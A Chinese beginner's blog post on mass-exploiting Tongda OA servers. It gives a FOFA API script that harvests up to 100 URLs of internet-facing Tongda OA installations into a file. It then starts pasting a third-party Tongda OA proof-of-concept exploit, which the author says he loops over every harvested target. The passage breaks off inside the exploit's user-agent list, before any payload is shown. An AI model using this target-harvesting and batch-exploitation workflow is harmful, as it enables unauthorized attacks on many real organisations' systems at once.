Python练习时长7天半的成果,大佬留情
问题
fofa返回结果中有的带https://
大佬的通达oaPOC无法处理https://,需要修改
fofaAPI
import requests
import json
import base64
def main():
email="" #email
key="" #key
targetsrting='app="通达OA"' #搜索关键字
target=base64.b64encode(targetsrting.encode('utf-8')).decode("utf-8")
page="1" #翻页数
size="100" #每页返回记录数
url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+target+"&size="+size
#print(url)
resp = requests.get(url)
data_model = json.loads(resp.text)
data_url=[]
save=open('fofaurl.txt','w+')
for i in data_model['results']: #取结果列表
for j in i[0:1]: #取结果列表中的每个列表的url,需要IP则改为[1:2]
data_url.append(j)
for i in data_url:
save.write(i+"\n")
save.close()
#print(data_model)
if __name__ == '__main__':
main()
大佬的POC加自己写的批量执行的脚本
太菜了,不知道怎么修改POC批量测试目标,就百度了下PYTHON执行命令,循环100次。。。。。。
大佬的POC
'''
@Author : Sp4ce
@Date : 2020-03-17 23:42:16
@LastEditors : Sp4ce
@LastEditTime : 2020-04-22 16:24:52
@Description : Challenge Everything.
'''
import requests
from random import choice
import argparse
import json
USER_AGENTS = [
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media